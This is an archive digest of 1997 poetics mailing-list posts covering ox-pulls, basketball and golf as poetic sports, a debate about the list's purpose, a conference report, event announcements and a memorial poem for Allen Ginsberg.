They have no place to go, no reason to go there,
shriveled scars for balls.

All afternoon the weights are added to the sledge;
the oxen strain, lurch forward past the stands,
the Ford-dump gears down and hauls it smoothly back.

Hoofprints and treadmarks in the dirt,
oxshit and oil.

In the stands, ice-cream and polite applause.
They wait all year for this, and then all afternoon.
There's something here I can't make out.
No thin man owns an ox.

Sylvester Pollet

> *Poetic sports? Most sports fall into three categories--skills of war, skills of hunting, forlorn hope that sportstogs will tear in interesting ways (the greeks combined these by having athletes compete naked). Then there's a remnant category--skills of labor. My favorite of these is the ox-pull, practiced at county fairs in New England (and beyond?). A pair of enormous oxen are hitched to a sledge laden with concrete blocks. The pair gets three tries at pulling each weight for, I think, ten feet.*
> *What's wonderful about this sport is that the oxen (unlike horses in the otherwise identical sport of horse-pulling) are truly as stolid as oxen--they exhibit absolutely no change in affect or mood. As if by contagion, their human entourage neither. Despite the fact that consistent losers are likely to wind up as hamburger (analogy with mesoamerican ballgame?). And also (antecedent--wonderful) that the vast bulk of the time is spent in loading the sledge further, leading in the teams of oxen, hitching, rehitching, unhitching, etc.*
> *If the poetic in sports is in proportion to the slowness of the game, this beats baseball by a mile. The audience, sometimes larger than at most poetry readings, tends to be on the laconic side--zen farmers who've sat once too often.*
> *Did you know that if you sit absolutely still for long enough your brain, responding to gravity, begins to puddle? That's what I love about ox-pulls.*
>
> *At 01:44 PM 4/23/97 -0400, you wrote:*
> *And given Spicer's love of baseball, any poets (here or there) with a similar love of BASKETball?*
>
> *bill marsh*
>
> *You bet. Stephen Dunn certainly is -- in fact I think he played semi-pro in Spain for a while in his youth. Other versifying NCAA fans -- and Syracuse fans at that!-- are Robert Lietz and yours truly. I think Garrett Hongo's*

> *a hoops fan, too, but I'm basing that on a poem of his so take it for what it's worth.*
>
> *It does seem, though, that if a poet dares admit to liking a sport, baseball is the safe one, probably because it's slow, and therefore "poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing. An interesting sport to bring up in the company of poets is golf. I once mentioned that I played -- or was trying to -- and was immediately brought up short by another poet who gave me a lecture about how poetry and golf were incompatible, morally so, as I remember. This, however, came from someone who had never played the game, and who assumed that only rich stockbrokers indulged, ignorant of the fact that almost every summer weekday evening the links are crowded with hard workin' factory folk tearing up the fairways with their company leagues. Par to the people.*
>
> *********
> *Fred Muratori* *"The spaces between things keep*
>
> *(*[redacted]*)* *getting bigger & more*
>
> *Reference Services Division* *important."*
> *Olin * Kroch * Uris Libraries* *- John Ashbery*
> *Cornell University*
> *Ithaca, NY 14853*
> *WWW: http://fmref.library.cornell.edu/spectra.html*
> *********

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845. **Jeff Hansen**

what this list is (intended) to be about

Thu 24 Apr 1997

I have enjoyed being on this list for the past year and a half. The discussions are often lively, and I receive a lot of information on publications, conferences, etc. that I would otherwise not know about. But I do feel that we should all heed Charles Bernstein's latest revision of what the list is about. Note that this is not intended to be a list for anyone with a vague interest in poetry. It is intended for people committed to working through and on innovation. On top of that, "poetics" by its very definition involves intellectual theorizing. Therefore, it seems to me that criticizing people for being "high falutin'" or too intellectual on this list is contrary to what the owner of it intends. While I don't want to be a police officer, I do think we should all take note that this list is private and that it is intended for certain purposes. If our interests diverge from those intended by this list, maybe we should try to hook up to a different one.

A number of people have told me, backchannel, that they no longer post for fear of being pounced on by others who have not even carefully read the original post. Why are we here?

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846. robert drake
announce POTEPOETZINE / POTEPOETTEXT
Thu 24 Apr 1997

---

peter ganick asked me to forward this--lbd

> *Date: Tue, 22 Apr 1997 07:06:28 -0400*
> *From: Peter Ganick <[redacted]>*
> *Reply-To: [redacted]*
> *Organization: Potes & Poets Press, Inc.*
> *Subject: announce POTEPOETZINE / POTEPOETTEXT*
>
> *POTEPOETZINE, a new experimental e-zine*
> *is accepting e-mail addresses*
> *for free subscriptions*
> *to its irregularly, but frequently,*
> *appearing series of issues....*
>
> *it will include the finest*
> *experimental poetry*
> *from all over the united states....*
>
> *also, a section of hartford area*
> *electronic artists will display*
> *examples of electronic art....*
>
> *no submissions will be accepted*
> *with subscription orders*
> *however issue ONE will contain*
> *information about submitting to*
> *issue TWO and POTEPOETTEXT,*
> *a series of electronic texts*
> *situated in the on-going discourse*
> *in cultural theory worldwide....*
>
> *send e-mail only*
> *(no telephone, fax, or post office)*
> *to: [redacted]....*
>
> *POTEPOETZINE....POTEPOETTEXT....*
> *new experimental poetry*
> *and discourse....*

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847. **Dale Smith**

Re: what this list is (intended) to be about

Thu 24 Apr 1997

It's interesting how conversational and experiencial language is acceptable in certain threads, like Hoops. But to ask some one to explain their conceptual terms through similar experiencial language is frowned upon in other threads. When I used the word, 'highfalutin'' in my post to Mark, I was commenting upon his use of language, as well as my own. Critical, yes. But also self implicating, because I chose to address terms like 'individual' and 'social' which are, ultimately, open conceptually. Intellectual theorizing, debate, and response are different, for me, from conceptual declaration, as in, "there is no individual." In the end, these sorts of exchanges seem fun, lively, and engaging, if not, somehow clarifying. But if the posts seem unfair or damaging, perhaps those "with a vague interest in poetry" should be addressed publicly and taken to task. Otherwise, how will "innovation" take place? Thought, it seems, should be provoked and proved. And what better place for this kind of exchange than here, on this list.

By the way, could someone forward me Bernstein's revision. Dale

> *I have enjoyed being on this list for the past year and a half. The discussions are often lively, and I receive a lot of information on publications, conferences, etc. that I would otherwise not know about. But I do feel that we should all heed Charles Bernstein's latest revision of what the list is about. Note that this is not intended to be a list for anyone with a vague interest in poetry. It is intended for people committed to working through and on innovation. On top of that, "poetics" by its very definition involves intellectual theorizing. Therefore, it seems to me that criticizing people for being "high falutin'" or too intellectual on this list is contrary to what the owner of it intends. While I don't want to be a police officer, I do think we should all take note that this list is private and that it is intended for certain purposes. If our interests diverge from those intended by this list, maybe we should try to hook up to a different one.*
>
> *A number of people have told me, backchannel, that they no longer post for fear of being pounced on by others who have not even carefully read the original post. Why are we here?*

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848. **Aldon L. Nielsen**

Re: A Tale of Two Cities (part two): On the Wings of Atalanta (fwd)

Thu 24 Apr 1997

---------- Forwarded message ----------
Date: Wed, 23 Apr 1997 20:15:13 -0700 (PDT)
From: "Aldon L. Nielsen" <[redacted]>
To: [redacted]
Subject: Re: A Tale of Two Cities (part two): On the Wings of Atalanta

meanwhile -- after a brief sojourn in Los Angeles about which I speak no further, it was on to Atlanta and the College Language Association --

The College Language Association recently celebrated its 60th anniversary, this was its 57th conference, and, as mentioned in a previous post, the number of white academics in attendance does not seem to have increased by much in six decades -- not that white attendance is a measure of anything other than a continuing lack of interest on the part of persons employed at Historically White Universities and Colleges --

On the other hand -- there were far more students on hand than usual, though they hadn't meant to be on hand for a conference. As it happens, the conference was scheduled for the same weekend as the 17th annual Black College Spring Break Freaknik, always held on the beaches of Atlanta. Thursday night as the advance wave of students started checking into the hotel there was a certain amount of consternation as they discovered that the place was full of the very English and Foreign Language professors they were trying to escape --

I won't try to summarize lots of panels, but will tell you of some characteristic moments --

The first session I attended proved to be one of the most interesting of the weekend -- Titled "Migration and the African Diaspora in European Literature," it featured primarily medievalists -- Catherine Johnson of Georgia Southern U gave a good survey of "Medieval Europe's Struggle to Re-Define Self after Contact with the Black Moor," Reginald Bass talked about the image of blacks in medieval German literature, and Mario Chandler, who impressed me very much, read a paper on fictional representations of Juan Latino, bringing us into one Renaissance (the Spanish) at a conference where the word "renaissance" was more often preceded by the word "Harlem." At the banquet later in the conference, young Mario Chandler was awarded one of the CLA's small travel grants for research in Spain.

After some good papers on Wallace Thurman and Jessie Fauset, including one by Dolan Hubbard, who is working on a book about Thurman, it was on to the Langston Hughes Society's luncheon with guest speaker Arnold Rampersad.

Rampersad did manage to quote Hughes once or twice, but the subject of his talk was Jackie Robinson, which was about as close to poetry as things got that first day. Rampersad, for all you poet/baseball fans out there, is working with Mrs. Robinson on the authorized biography, out soon.

As a former Howard University lecturer, I was particularly pleased by the panel examining the legacy of Arthur P. Davis. Most interesting to me was post-panel discussion of Davis's initial hostility to the Black Arts poets and his later thaw with regards to a few of those writers (_not_ the poets I might have expected him to warn up to later at all). Angelyn Mitchell of Georgetown, whose anthology of African-American literary criticism is a good teaching tool despite its somewhat narrow selection, spoke of Davis's work as an anthologist.

That night there was a screening of W.E.B. DuBois in Four Voices, with the producer/director Louis Massiah there to talk about the film with those of us who were still awake after all the receptions at Spellman and the day's arguments.

next morning I was up early for one of the few poetry panels, a session on Robert Hayden, though I have to say the papers didn't seem to move the scholarship very far from where it already was. BUT, Angela Chamblee, after much difficulty with the AV equipment, put Hayden's Harriet Tubman poetry back together with Jacob Lawrence's Tubman series of paintings, and that was great fun. Bernard Bell chaired a session on Charles Johnson and Ishmael Reed that featured James Coleman and two of his grad. students, both of whom did an admirable job with their topics.

I went with great expectations to a panel on the theme of passing in the works of Charles Chesnutt and Nella Larsen, only to find that two of the panelists had passed up the opportunity to appear -- Left alone with her session chair was the remarkably collected and adaptable Tracyann Williams of CUNY, who, to judge from her talk on Larsen, will make a very good professor of literature when she gets that diss. done --

Went then to a general panel on "Narratives of Migration, Liberation and War," where Mary Helen Washington presented some of her work on the 50s, work that might have been a great addition to the Orono conference last Summer even though it was not about poetry. Washington is planning more 50s stuff for the American Studies conference in D.C. in the Fall -- a revelation to me in her presentation was the news (new to me, probably old to most of you) that the 1959 Negro Writers Conference [the first ever], sponsored by the American Society of African Culture had been funded by the CIA -- The focus of Washington's talk was novelist Frank London Brown and his realist novel _Trumbull Park_, which I had not known of before but will now look up.

That night featured the conference banquet and awards. Octavia Butler was the featured speaker, and gave an autobiographical address to such questions as "why write" and "why write that stuff?"

AND for all you Science Fiction listophiles, there is a call for papers out for a special issue of Callaloo on Octavia Butler -- the person to contact if you want to give the subject a try is:

Paulette Richards
Department of English
Loyola University
6363 St. Charles Ave.
New Orleans, LA 70118

[redacted]

fax # [redacted]

Next morning I had the great good luck to be the first speaker on the first panel of the last day -- talked about C.L.R. James -- was joined by an interesting grad. student named Mursalata Muhammad who talked about black American artists in Europe.

The last panel I got to brought things full circle in an odd way to the departure from Berkeley -- the subject of the panel was the Middle Passage -- Sophia Canatave of Tufts talked about literary aesthetics and the history of Middle Passage, Sheila Smith McKoy (Vanderbilt) spoke of a Kofi Awoonor novel I had somehow not heard of yet titled _Comes the Voyage Last_ (anybody out there read that yet? Awoonor is a poet.) and Iyunolu Osagie, of Penn State, gave a paper titled "Conceptualizing Blackness in Middle Passage Migrations." This last created quite a ruckus. Part of her paper was a sort of wondering out loud about what it might be like to define blackness in relation to itself instead of in relation to whiteness. In the resulting dialogue with the audience there was much talk of Fanon, and of African/African-American relationships,,,, and then somebody wondered whether white academics ever talk about the dependence of the concept of whiteness on the concept of blackness. I knew a cue when I heard one, and briefly (far more briefly than I did here) described the Berkeley conference on whiteness and the fire storm it caused in the media. (The media, by the way, left us pretty much alone in Atlanta -- They had all the freaknikers to get on camera after all.)

Oddest moment of the entire conference came when one young person in the audience opined that black Americans have never been credited for making white people possible -- and then the look on his face when he realized what he'd just said --

folk seen at the conference included Joanne Gabbin, the aforementioned Bernard Bell, Trudier Harris (WHO is starting up a society for the study of African-American poetry that should be of interest to all on this list -- there'll be an organizing meeting at the American Literature Association in B'more next month -- will supply info address on request), Jacqueline Jones of nearby (to me) Santa Clara University, Hugh Gloster (who is gettin' old), Beverly Guy-Sheftall, R. Baxter Miller, Robert O'Meally, Gay Wilentz and other notables of the prose world --

which is why Trudier's society is so needed -- again, very little talk of poetry at this conference -- there's a lot of important work to be done, but students won't know it's waiting to be done if we never teach any of the relevant materials -- if we don't get those books back in print -- and so on, you know the drill --

so, having been made to feel my age by large numbers of exceedingly polite freaknikers who quickly spotted me as somebody well past forty and thought they should all tell me that English is their absolutely favorite subject (and I will choose for the moment to believe every one of them), I flew back to San Jose

only to find 7,000 fans of TAFKAP (the artist formerly known as Prince) snaked around my building waiting for the concert I hadn't known was about to happen - and next morning learned that TAFKAP had encored with a scorching guitar duo performed with Carlos Santana -- but I did have a good book to read at least --

love to all, and to all a good night --

sure wish I was going to that Rutgers wing ding to see all my buddies from the list, though

↑ Index

849. Christina Fairbank Chirot

Re: ReHoops

Thu 24 Apr 1997

A really good fair has both an ox pull and a demolition derby.

As Jerry Lee Lewis says, "Think about it".

A pro scout sent to visit the farm where then pitching prospects Gaylord and Jim Perry grew up tried acting "country", feeding sugar to a mule. The mule bit his hand near off.

Paul Metcalf in Patagoni writes of stock car races and the Incas--and incar-nation--inca car nation--

Thats' why we still have hits songs about Mercury.
(Thank you Alan Jackson.)

As they say--Ox Pulls go way back. If not much forward. To emphasize the point--there's the demolition derby.

On Wed, 23 Apr 1997, Mark Weiss wrote:

> *Poetic sports? Most sports fall into three categories--skills of war, skills of hunting, forlorn hope that sportstogs will tear in interesting ways (the greeks combined these by having athletes compete naked). Then there's a remnant category--skills of labor. My favorite of these is the ox-pull, practiced at county fairs in New England (and beyond?). A pair of enormous oxen are hitched to a sledge laden with concrete blocks. The pair gets three tries at pulling each weight for, I think, ten feet.*
> *What's wonderful about this sport is that the oxen (unlike horses in the otherwise identical sport of horse-pulling) are truly as stolid as oxen--they exhibit absolutely no change in affect or mood. As if by contagion, their human entourage neither. Despite the fact that consistent losers are likely to wind up as hamburger (analogy with mesoamerican ballgame?). And also (antecedent--wonderful) that the vast bulk of the time is spent in loading the sledge further, leading in the teams of oxen, hitching, rehitching, unhitching, etc.*
> *If the poetic in sports is in proportion to the slowness of the game, this beats baseball by a mile. The audience, sometimes larger than at most poetry readings, tends to be on the laconic side--zen farmers who've sat once too often.*
> *Did you know that if you sit absolutely still for long enough your brain, responding to gravity, begins to puddle? That's what I love about ox-pulls.*
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> *At 01:44 PM 4/23/97 -0400, you wrote:*
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>
> *bill marsh*
>
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> *An interesting sport to bring up in the company of poets is golf. I once mentioned that I played -- or was trying to -- and was immediately brought up short by another poet who gave me a lecture about how poetry and golf were incompatible, morally so, as I remember. This, however, came from someone who had never played the game, and who assumed that only rich stockbrokers indulged, ignorant of the fact that almost every summer weekday evening the links are crowded with hard workin' factory folk*

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> *Fred Muratori* *"The spaces between things keep*
>
> *(*[redacted]*)* *getting bigger & more*
>
> *Reference Services Division* *important."*
> *Olin * Kroch * Uris Libraries* *- John Ashbery*
> *Cornell University*
> *Ithaca, NY 14853*
> *WWW: http://fmref.library.cornell.edu/spectra.html*
> *********

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850. **David Israel**

Poetics Geography

Thu 24 Apr 1997

Poetas,

If you're curious who's where, here's how to find out.

(Sorry, this won't tell you east coast / west coast; but it will, methinks, identify all internationally-recognized sovereign states.)

Of what do I speak? To unravel this mystery, you need but read the next chapter (as they say in the old Chinese novels).

yours,
d.i.

[what follows is rubric'd w/ some backchannelism, but the basic methodology is outlined in short order]

>>> Charles Bernstein <[redacted]> 04/24/97 12:24pm >>>
This is very interesting and I will include it for sure. I didn't know you could do that. Indeed, I would welcome you to repost this info now to the whole list.

At 09:33 PM 4/23/97 -0400, you wrote:
>Charles --
>
>thanks for posting that update of the Poetics welcome msg. -- >
>I've a small note regarding section # 6, which section reads:

>
><<<
>6. Who's Subscribed
>To see who is subscribed to Poetics, send an e-mail message to
>message blank. In the body of your e-mail message type:
>
> review poetics
>
> or
>
> review POETICS by name
>
>(which will give you the list alphabetically by name)
>
>You will be sent within a reasonable amount of time (by return e-mail) a
>rather long list containing the names and e-mail addresses of Poetics
>subscribers. This list is alphabetized by server not name. >>>
>
>
>here's another neat listserv command along kindred lines:
>
>review POETICS by country
>
>will give you the same roster, but itemized (& organized) under a
>separate subheading for each country (nation) -- it's rather neat to thus
>get some particulars of the global sweep --
>
>and there can be some interesting results from perusing such a list; for
>instance, by doing so, I discovered that old Stephen Paul Miller (whom
I
>knew through frirends-of-friends) is currently in Krakow, Poland.
>
>Naturally, you might not wish to be exhaustive in the info provided in a
>welcome msg., but -- in short -- I thought you might care to consider
this
>possible addition to those currently noted.
>
>Thanks, as always, for the good thing afoot,
>d.i.
>
>

↑ Index

851. Jordan Davis
jinxed by the collar
Thu 24 Apr 1997

That'll teach me not to absolutize.

The Owen / Berrigan reading at Poetry City (NY) is not _tomorrow_ as the message you received today would have it.

It's tonight, 4/24, Thursday, 7 pm.

He was Bill. He was Bill Walton.

Signed,
Jordan

↑ Index

852. aerialedge
Heather Fuller @ Bridge Street
Thu 24 Apr 1997

Sunday April 27th @ 8 PM

a reading/talk by

Heather Fuller

on the occasion of the publication
of the Edge Book _perhaps this is a rescue fantasy_

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC

ph [redacted]

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853. william marsh
Re: ReHoops
Thu 24 Apr 1997

> *It does seem, though, that if a poet dares admit to liking a sport, baseball is the safe one, probably because it's slow, and therefore "poetic."*

i agree / the oft-mentioned "zen" aspect of baseball makes for easy (often false) parallels

but would anyone be interested in collaborating on a list of basketbal-to-poetry analogies? i.e., i'll begin with:

dribble = cadence, syncopation
cross-over dribble = line break
slam dunk = haiku

etc.

bill marsh

↑ Index

854. **Mark Weiss**
Re: & now, a comic [morbid] interlude . . .
Thu 24 Apr 1997

---

and cemeteries would serve espresso.

At 04:40 PM 4/23/97 -0400, you wrote:
>a friend sent me this:
>
>>From John Dvorak's May 6 _Inside Track_ column in PC Magazine.
>
><< It Was Bound to Happen Dept.: Leif Technologies ([redacted]) is
>showing an unusual new tombstone add-on called View.logy (about
>$5000 to $7000). It's a computerized system with an LCD screen and a
>couple of buttons that allows people to read your biography, access
>family tree information, and view whatever else can fit into 250 pages of
>memory at your final resting place. The double-walled stainless-steel unit
>is designed to last forever or until Armageddon, whichever comes first.
>Right now this system displays text and pictures on a gravestone or
>cremation urn, but I'm sure more applications will arive. >>
>
>One wonders about -- a few technicalities. Like: postmortem editing?
>(add-ons of descendents? -- provisions for inclusion / exclusion of
>begats...); hypertext links? sound/video files? "live" connections to
>websites in perpetuity? -- and a new botique niche for RIP-VID
>scriptwriters & directors & producers -- & the special eclat of having
>(say) Wim Wenders or David Lynch "do" your r.i.p.-vid. -- (those are a
>few, for starters) . . .
>
>"r.i.p., hombre"
>d.i.
>
>

↑ Index

855. **Mark Weiss**
Re: ReHoops
Thu 24 Apr 1997

As one of those bellies, bravo! You've found the tragic core of the ox-pull!

At 08:59 AM 4/24/97 -0400, you wrote:
>Up till now, I've resisted the urge to post a poem, but since I'm reading
>tonight in Ellsworth (Maine), and since this one comes so close to the
>description below, I've succumbed. It's from around 1980, & based on the
>Blue Hill Fair, annual Labor Day Weekend event.
>
> September
>
>Cast-concrete weights, five to the ton.
>The front-end loader stacks them on the sledge--
>it is the month of the ox-pull.
>
>It looks like a contest for bellies--
>men swollen with children, with bills,
>swollen with biscuits and Bud.
>
>Oxen wait and wait.
>They have no place to go, no reason to go there,
>shriveled scars for balls.
>
>All afternoon the weights are added to the sledge;
>the oxen strain, lurch forward past the stands,
>the Ford-dump gears down and hauls it smoothly back.
>
>Hoofprints and treadmarks in the dirt,
>oxshit and oil.
>
>In the stands, ice-cream and polite applause.
>They wait all year for this, and then all afternoon.
>There's something here I can't make out.
>No thin man owns an ox.
>
> Sylvester Pollet
>
>>Poetic sports? Most sports fall into three categories--skills of war, skills
>>of hunting, forlorn hope that sportstogs will tear in interesting ways (the
>>greeks combined these by having athletes compete naked). Then there's a

>>remnant category--skills of labor. My favorite of these is the ox-pull,
>>practiced at county fairs in New England (and beyond?). A pair of enormous
>>oxen are hitched to a sledge laden with concrete blocks. The pair gets three
>>tries at pulling each weight for, I think, ten feet.
>>What's wonderful about this sport is that the oxen (unlike horses in the
>>otherwise identical sport of horse-pulling) are truly as stolid as
>>oxen--they exhibit absolutely no change in affect or mood. As if by
>>contagion, their human entourage neither. Despite the fact that consistent
>>losers are likely to wind up as hamburger (analogy with mesoamerican
>>ballgame?). And also (antecedent--wonderful) that the vast bulk of the time
>>is spent in loading the sledge further, leading in the teams of oxen,
>>hitching, rehitching, unhitching, etc.
>>If the poetic in sports is in proportion to the slowness of the game, this
>>beats baseball by a mile. The audience, sometimes larger than at most po-
etry
>>readings, tends to be on the laconic side--zen farmers who've sat once too
>>often.
>>Did you know that if you sit absolutely still for long enough your brain,
>>responding to gravity, begins to puddle? That's what I love about ox-pulls.
>>
>>At 01:44 PM 4/23/97 -0400, you wrote:
>>>>>And given Spicer's love of baseball, any poets (here or there) with a
>>>>>similar love of BASKETball?
>>>>>
>>>>>bill marsh
>>>>
>>>You bet. Stephen Dunn certainly is -- in fact I think he played semi-pro in
>>>Spain for a while in his youth. Other versifying NCAA fans -- and Syracuse
>>>fans at that!-- are Robert Lietz and yours truly. I think Garrett Hongo's
>>>a hoops fan, too, but I'm basing that on a poem of his so take it for what
>>>it's worth.
>>>
>>>It does seem, though, that if a poet dares admit to liking a sport,
>>>baseball is the safe one, probably because it's slow, and therefore
>>>"poetic." That whole gauzy (but yes, attractive) _Field of Dreams_ thing.
>>>An interesting sport to bring up in the company of poets is golf. I once
>>>mentioned that I played -- or was trying to -- and was immediately brought
>>>up short by another poet who gave me a lecture about how poetry and golf
>>>were incompatible, morally so, as I remember. This, however, came from
>>>someone who had never played the game, and who assumed that only rich
>>>stockbrokers indulged, ignorant of the fact that almost every summer
>>>weekday evening the links are crowded with hard workin' factory folk

>>>tearing up the fairways with their company leagues. Par to the people.
>>>
>>>**********
>>>Fred Muratori "The spaces between things keep
>>>
>>>([redacted]) getting bigger & more
>>>
>>>Reference Services Division important."
>>>Olin * Kroch * Uris Libraries - John Ashbery
>>>Cornell University
>>>Ithaca, NY 14853
>>>WWW: http://fmref.library.cornell.edu/spectra.html
>>>**********
>>>
>>>
>
>

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856. **Hank Lazer**

Re: there's a man on the fairway taking names

Thu 24 Apr 1997

Dave Z -- thanks. glad to hear of Berrigan's golf interest.

And I do have a couple of golf poems in _Doublespace_ (Segue, 1992)

OK, Rachel, a few names (off and on the list): Ray Federman (a seriously addicted and reputedly fine golfer, has played in tournaments all over the US); Michael Palmer (reported to be quite a good golfer); the already named Paul Naylor; Alan Golding (sorry, Alan, Rachel coaxed it out of me.... though Alan is, properly, much more of a soccer player...); Judy Grahn; Tom Mandel; Charlie Altieri (I stop now, since I'm beginning to name critics...). And Rachel, just think of the clothes--plaid pants, tasseled shoes, strange gloves, weird tan lines, etc.... And the discussions of blades vs. cavity backed irons; persimmon vs. metal woods....

Hank Lazer

↑ Index

857. **armand schwerner**
DRAGON BOND RITE
Thu 24 Apr 1997

Dragon Bond Rite, a cross-cultural mask dance drama, commissioned by Japan Society in New York City, will have its world premiere at Japan Society, 333 E.47, NYC 10017, on June 4,5 and 6 at 8PM.

The mask dance drama is conceived and composed by Jin-Hi Kim, written by Armand Schwerner, artistic direction by Richard Emmert, lighting design by Jennifer Tipton, set design by Hyun Joo Kim, and features a company of fifteen performers from five different traditions, fourteen from Asia, all highly skilled representatives of their traditionalist categories-- as follows:

Japan: Akira Matsui, noh mask dancer
Shonosuke Okura, otsuzumi drum
Sadamu Omura, noh singer
Richard Emmert, noh singer (in English)

Korea: Kwon Soon Kang, kagok/p'ansori singer
Jong Ho Lee, kang ryung mask dancer
Jin Hi Kim, komungo zither
Jong Sil Choi, changgo drummer

Tuva (Mongolia):
Kongar-ool Ondar, throat singer

Bali (Indonesia):
I Ketut Rina, topeng/barong mask dancer
I Wayan Sira, dalang singer
I Gede Putu Winartha, kundang drummer

Kerala, India:
Margi Madhu, kudiyattam dancer
Unikrishnan Nambiar, mizhavu drummer

Tickets are $25.00. Dragon Bond Rite will be in final rehearsals at the Walker Art Center in Minneapolis,MN,from May 25 through Sunday May 31; on Sunday May 31, there will be a dress rehearsal at 2PM, open to the public, before the company moves to NYC. On the 9th of June, DBR will be presented in the Eisenhower Hall at Kennedy Center in Washington D.C.

Ticket reservation requests may be sent to the Japan Society, or may be charged to 212/[redacted] Monday through Friday, 10AM-5PM, or charged by FAX to 212/[redacted].

DBR has received support from the Rockefeller Foundation Multi-Arts Production Fund, Lila Acheson Wallace/Japan Society Fund, Mary Flagler Cary

Charitable Trust, Asian Cultural Council, the NEA, N.Y.State Council on the Arts, Saison Foundation, Rockefeller Foundation Bellagio Center and Walker Art Center. Transportation is assisted in part by Northwest Airlines.

↑ Index

858. **Stephen Vincent**

Re: ReHoops/ analog

Thu 24 Apr 1997

Hoop Analogs - OK I'll pick it up and try:

palming = rhetorical moment
fast break = open field
steps (traveling) = rejection, give it up
tip off = romantic opener
jump shot = romantic, cosmic aspiration/love
half court shot = cosmic bathos (if it goes in)
defensive elbow = keeping the opposition (unacceptable lingo) out
fake = irony
pump fake = testing the waters
foul = line/lingual abuse. Interesting if you are attracted to damage (if foul is severe, outrageous)
screen = one word opens another line
double screen = words making other words work in poems favor.
dunk = dramatic last line that might relieve the pressure of heavy duty opposition, i.e., knotted language etc.
A 7 ft center (fill in name) and a 5 ft 7" guard (fill in name) = Oxymoron.

No doubt to challenged, revised, or amplifed.
Back to the bench.
Cheers,
Stephen Vincent

↑ Index

859. **Thomas Bell**

Imaginary derivations and real delurking

Thu 24 Apr 1997

At 12:53 AM 4/24/97 -0800, Herb Levy wrote:

[redacted]

Speakeasy: n 1. [so named because the orders are given quietly], a place where alcoholic drinks are sold illegally, 2. a list with no moderator. v. 1. to

respond glibly to posts, 2. to seduce interpickup lines in a speakeasy. tom bell netically, and 3. toss out stale

↑ Index

860. **Bob Grumman**

Hoops, Golf, Etc.

Thu 24 Apr 1997

I love Bill Marsh's request for basketball/poetry parallels but, puhleeze, a slam-dunk is no haiku. Maybe the give-and go, successfully executed, is. Or you have to go to baseball for a haiku parallel. Haiku are all serenity.

Now that I'm into this thread, I have to give into to my taxonomania yet again and bother you with my division of sports into TARGETEERICAL SPORTS and CREATIVE SPORTS (tentative terminology). In targeteerical sports, the participant tries to hit a target many times through the repetitive use of one more or less unvarying, highly specialized physical act: as in the worst case, golf, which is the same swing at the same unmoving stupid ball, varying only the club (for the most part); and in bowling; baseball, except for fielding; pool; darts; croquet; tiddly-winks . . . In creative sports one one has to react spontaneously, on the move, to what the opposition does: e.g., at its best, tennis, which I always thought the most popular sport among poets, though it has its targeteerical serving component (which with souped-up racquets and playing surfaces has in my view become too large an element of the modern game), and of course it finally has the one swing, too, but it's a swing that has to go high or low, left or right, at a moving ball; basketball; soccer; ice hockey, and so forth. But I AM prejudiced because I'm probably the worst golfer in the world. Anyway, basketball and tennis are my favorite sports.

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861. **William Burmeister Prod**

Re: what this list is (intended) to be about

Thu 24 Apr 1997

> *But I do feel that we should all heed Charles Bernstein's latest revision of what the list is about. Note that this is not intended to be a list for anyone with a vague interest in poetry. It is intended for people committed to working through and on innovation. On top of that, "poetics" by its very definition involves intellectual theorizing. Therefore, it seems to me that criticizing people for being "high falutin'" or too intellectual on this list is contrary to what the owner of it intends. While I don't want to be a police officer, I do think we should all take note that this list is private and that it is intended for certain purposes. If our interests diverge*

> *from those intended by this list, maybe we should try to hook up to a different one.*

I wasn't aware that there was a recent revision to the list mission statement. It seems that it has remained unchanged since at least 3-4-97 according to the welcome message. The recent changes appear to have more to do with keeping "the scale of the list small and the volume manageable." The scale being the default on the listserve program, it is more a matter of being able to keep up with the sheer volume of posts each day, and not a matter of censoring out a list member's self-censoring, as it were, in an otherwise engaging and list-worthy thread on individuality vs The State.

Bill B.

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862. John Norton ([redacted])

Memorial Service for Allen Ginsberg in San Francisco

Thu 24 Apr 1997

On Sunday April 20, San Francisco's Temple Emanu-el was the site for a memorial service for Allen Ginsberg. Before the service began, the performance group City of Poets donned white costumes with patches of shreaded cloth and assembled in the courtyard to read from "Kaddish for Naomi Ginsberg" and "Howl." The cacophony of voices with their erratic movement throughout the crowd echoed like the wailing of banshees.

I estimate close to two thousand people filled the sanctuary of this wonderful building with its symmetrical vaulted arches spanned by a great dome. Ferlinghetti, Gary Snyder, Diane di Prima, Mark Lilenthal, Anne Waldman, Robert Hass, Michael McClure, Joane Kyger, and Andrew Schilling spoke of their friendship with AG and how generous he was. The SF literary communities out in force. To close, the Rabbi led all in reciting Kaddish. A great afternoon.

Seen in the crowd: Carl Rakosi, Floyd Salas, Jack & Adelle Foley, Neeli Cherkovski, Jack Mueller, Gloria Frym, Jerry Kamstra, George Scrivani, Kevin Killian and Bob Gluck (looking for seats), Hilton Obenzinger, Dennis Hopper, Whitman McGowan, Margery Snyder, Joyce Jenkins.

April 21's SF Chronicle and Examiner both wrote up the service. You can find these reports at http://www.sfgate.com.

The following came to me as I walked back home.

LISTEN UP

- for Allen Ginsberg (1926-1997)

Buddha is teaching patience
don't hurry
it will happen
you were struck ten times today
still you want more
mind the people walking
dogs and children
look at that couple
how they talk with their hands
y las dos chicanas
que linda!

Listen up
Buddha says
change is coming
spring then summer
ripening and
harvest
for your next lifetime
you will be born a Jew

John Norton

↑ Index

863. **Hugh Steinberg**
Re: ReHoops
Thu 24 Apr 1997

Although I like sports, and I enjoy watching the Bulls, I just want to point out that Michael Jordan's salary for one year could easily support the publication of 6,000 titles of poetry.

Hugh Steinberg

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864. **George Bowering**
Re: ReHoops
Thu 24 Apr 1997

One reason why the Bulls are so much fun to watch is that they are so old. The old teams were pretty successful and interesting to watch. this year. The Jazz are old. The Sonics are pretty old. The Suns are old. The &*%$#@! Knicks are old.

Also, the Bulls are so international. They have an Australian, a Canadian, a Croat (or is he a Serbian--I cant remember or tell the difference), a Martian and a bunch of USAmericans.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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865. **George Bowering**

Re: Granby, Mon Amour

Thu 24 Apr 1997

> *George had a lampshade on his head at the time and was alternately singing "O Canada" and reciting from the collected works of Charles Bukowski (one of his favorites), so I guess he must be forgiven for his lack of depth perception.*
>
> *Rachel L.*

Okay, I will admit to the lampshade. And maybe I did sing the national anthem once, maybe twice. But that wasnt Bukowski I was reading. It was my old rap sheet before I reformed and learned poetry. All I used to do before Rachel saved me , was drink beer, go to the track, pee my pants, and get into fistfights and lose them.

George Bowering.

,

2499 West 37th Ave.,
